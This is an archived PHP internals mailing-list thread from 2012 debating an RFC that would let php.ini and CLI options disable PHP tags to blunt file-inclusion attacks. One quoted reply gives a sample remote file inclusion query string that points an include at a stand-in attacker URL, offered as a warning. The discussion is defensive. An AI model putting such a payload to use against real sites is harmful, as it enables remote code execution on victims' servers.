Newsgroups: php.internals Path: news.php.net Xref: news.php.net php.internals:59757 Return-Path: Mailing-List: contact internals-help@lists.php.net; run by ezmlm Delivered-To: mailing list internals@lists.php.net Received: (qmail 18605 invoked from network); 11 Apr 2012 21:11:11 -0000 Received: from unknown (HELO lists.php.net) (127.0.0.1) by localhost with SMTP; 11 Apr 2012 21:11:11 -0000 Authentication-Results: pb1.pair.com smtp.mail=yohgaki@gmail.com; spf=pass; sender-id=pass Authentication-Results: pb1.pair.com header.from=yohgaki@gmail.com; sender-id=pass Received-SPF: pass (pb1.pair.com: domain gmail.com designates 209.85.161.170 as permitted sender) X-PHP-List-Original-Sender: yohgaki@gmail.com X-Host-Fingerprint: 209.85.161.170 mail-gx0-f170.google.com Received: from [209.85.161.170] ([209.85.161.170:46345] helo=mail-gx0-f170.google.com) by pb1.pair.com (ecelerity 2.1.1.9-wez r(12769M)) with ESMTP id 15/55-23245-D63F58F4 for ; Wed, 11 Apr 2012 17:11:10 -0400 Received: by ggmb2 with SMTP id b2so862801ggm.29 for ; Wed, 11 Apr 2012 14:11:07 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:from:date :x-google-sender-auth:message-id:subject:to:cc:content-type :content-transfer-encoding; bh=qvsQVglO162medr8G+vx+TAzgm/lmcs4fOjZGw1f+IE=; b=zkYtniyCtRTrli/Q/QoswzmKDeEMyWEWKjPrKEcGu2IYo+qP96xTwCKQ0VB5l8h/3q EgCwTkh7fvJozNU+Iy6Rm52nL6t/6uATYGDiEQ9lvkOSMv1z4xDNBj1zCnJU7uKaAI3z iGPrNYjpbX9K2WPIjBwQrG+JMsGt7blf+jUCRvV11uM3kuBdZ3pkdvYG+AOn6K8CqdBd bg44KO/AFke1Nk3CUlOxznHLLEzCkVBRyCA+II1XaB2YTSgsz5d/ss1zc141Sp12DAAi DKRAJo09yLbIv3pjh/deGxwKmBPFFMnY1DbtE2sibGj9vFnv2GZ+vWv+5bsX6g+Y2Nhg un9g== Received: by 10.236.190.42 with SMTP id d30mr14287420yhn.77.1334178667070; Wed, 11 Apr 2012 14:11:07 -0700 (PDT) MIME-Version: 1.0 Sender: yohgaki@gmail.com Received: by 10.146.86.14 with HTTP; Wed, 11 Apr 2012 14:10:26 -0700 (PDT) In-Reply-To: References: <4F850D06.10701@sugarcrm.com> <4F8515AF.8060706@sugarcrm.com> <4F851FE4.7000706@sugarcrm.com> <4F8539E0.1090701@sugarcrm.com> <4F859063.1010401@lerdorf.com> Date: Thu, 12 Apr 2012 06:10:26 +0900 X-Google-Sender-Auth: rpY1RoD4IJCyTYAC-603Wb0JSwg Message-ID: To: Kris Craig Cc: Chris Stockton , John Crenshaw , Rasmus Lerdorf , Stas Malyshev , "internals@lists.php.net" Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Subject: Re: [PHP-DEV] Re: Disabling PHP tags by php.ini and CLI options From: yohgaki@ohgaki.net (Yasuo Ohgaki) 2012/4/12 Yasuo Ohgaki : > Hi, > > 2012/4/12 Kris Craig : >> >> >> On Wed, Apr 11, 2012 at 1:48 PM, Yasuo Ohgaki wrote= : >>> >>> Hi, >>> >>> 2012/4/12 Chris Stockton : >>> > Hello, >>> > >>> > On Wed, Apr 11, 2012 at 10:53 AM, Kris Craig >>> > wrote: >>> >> I can't help but question whether we should even be worrying about >>> >> LFI/RFI >>> >> to begin with. =A0Personally, I would *never* check-off on code that= in >>> >> any >>> >> way used $_GET or $_POST directly in an include/require statement! >>> >> =A0It's >>> >> just plain lazy. =A0There's just no excuse for doing that. =A0Use so= me sort >>> >> of >>> >> dispatch or translation table. =A0Sure, it might seem less "magical,= " but >>> >> it'll also protect you from some asshole hitting you with something >>> >> like, >>> >> "?file=3Dhttp://hacksite.com/injectedcode.php?". =A0The individual c= ode >>> >> developer has to take *some* responsibility for their code. =A0If th= is is >>> >> such a problem, I would think the solution would be to update our do= cs >>> >> to >>> >> better warn people about this type of attack and educate them on how >>> >> not to >>> >> write code that's vulnerable to it. >>> >> >>> >> We can make the language secure; but, in the end, a language is only= as >>> >> smart as the person using it. >>> >> >>> > >>> > >>> > I really have a hard time understanding how this is even being >>> > discussed, there is no real problem here. Making sure user input is >>> > validated is a core concept of application development. How on earth >>> > can you say "if you don't validate the users input, it's a security >>> > problem, so php must fix it", it's the most ridiculousness argument I >>> > have read on here in ages. >>> >>> It is the same as saying that canary protection for stack smashing >>> or ASLR is useless if programmer write correct code. >>> >>> Don't you appreciate that compilers/OSes have additional mitigation >>> factor, do you? Or would you like to disable all of these mitigation >>> features from your compilers/OSes? I guess not. >>> >>> C language is prone to be weak for buffer overflows, hence it is >>> weak to code execution and/or massive information disclosure. >>> (Like private key disclosure demonstrated by MoPB) >>> >>> Embedded language is prone to be weak for LFI. It also leads >>> to code execution and/or massive information disclosure. >>> >>> These weaknesses are the nature of how languages are made. >>> PHP is pure embedded language and there are people trying to >>> change it. If we are going to change that, it is reasonable to >>> change PHP so that LFI weakness will be closed. >>> >>> Not closing LFI issue is sound like "We have created Java language >>> which is free from memory management, but stack smashing and >>> various overflow issues still remains." >>> >>> > >>> > _IF_ you absolutely must accept arbitrary user urls from users, which >>> > we all have to do at some point, you use socket functions, file >>> > functions, HTTP extension, whatever you want. If you are using INCLUD= E >>> > you are using the WRONG TOOL. You are WRONG. >>> >>> Decent programmers knew the most important mitigation factor >>> is input control. It is top listed as monster mitigation in SANS CWE >>> TOP 25 also. I guess nobody would argue that here. >>> >>> > >>> > _IF_ you are needing to display downloaded user data onto a page, a >>> > image for example, you need to use file functions, fpassthru, >>> > something of the source. If you are using INCLUDE to do this, you are >>> > using the WRONG TOOL. You are WRONG. >>> > >>> > _IF_ you for some reason must accept LOCAL PATHS from a user, and you >>> > do not want to pass that input through a validation layer, you are >>> > WRONG. >>> > >>> > It boils down to you either use the right tools and the right >>> > validation methods or I promise this is only one of unlimited possibl= e >>> > security concerns Yasuo. >>> >>> We are discussing PHP being stronger against LFI, if we >>> are going to adopt non-ebmed mode for PHP. >>> >>> PHP =A0is good language for novice. Do we want them to learn >>> details of LFI which is described in my RFC? How dangerous it is, >>> how it could be exploited, etc. I believe it's just not worth it if we >>> made PHP could work in non-embedded mode. >>> >>> By the way, how many people knew all the exploitation methods that >>> I've written in the RFC? It's a real risk, but I guess many of us >>> don't even think about or care. How we could expect novice or >>> even average PHP programmer care about these risks? >>> >>> It's better that close window as much as possible where it is >>> applicable. >>> >>> Regards, >>> >>> -- >>> Yasuo Ohgaki >>> yohgaki@ohgaki.net >> >> >> But you're basically just using an "either or argument," a classic logic= al >> fallacy.=A0 I.e. you're saying that, if I believe that the language shou= ldn't >> be twisted to protect against every single possible vulnerability caused= by >> stupid code, then I must also believe that the language should not conta= in >> any security safeguards, whatsoever.=A0 That's just patently ridiculous. >> >> This isn't an "all or nothing" question.=A0 This particular RFC just doe= sn't >> pass the cost/benefit test IMHO.=A0 That doesn't mean that all >> security-related RFCs don't.=A0 In this case, a substantial change to th= e >> language would have to be made, and the only benefit would be protecting >> against a very narrow vulnerability that only occurs in really, REALLY b= ad >> code. > > Why? > It's fully compatible with existing code. > It's as few as 3 lines of change to adopt with decent frameworks. > > I'm missing what made you believe it could cost too much? > > Regards, > > -- > Yasuo Ohgaki > yohgaki@ohgaki.net It's also very easy to write backward compatible code also. The 3 lines of changes to adopt this RFC do not bother old PHP. No compatibility issue for existing code Just 3 lines of change to adopt Full backward compatibility for OLD systems The only issue is NEW code may be disclosed by **OLD** systems. If you think it costs too much still, please let me know. Regards, -- Yasuo Ohgaki yohgaki@ohgaki.net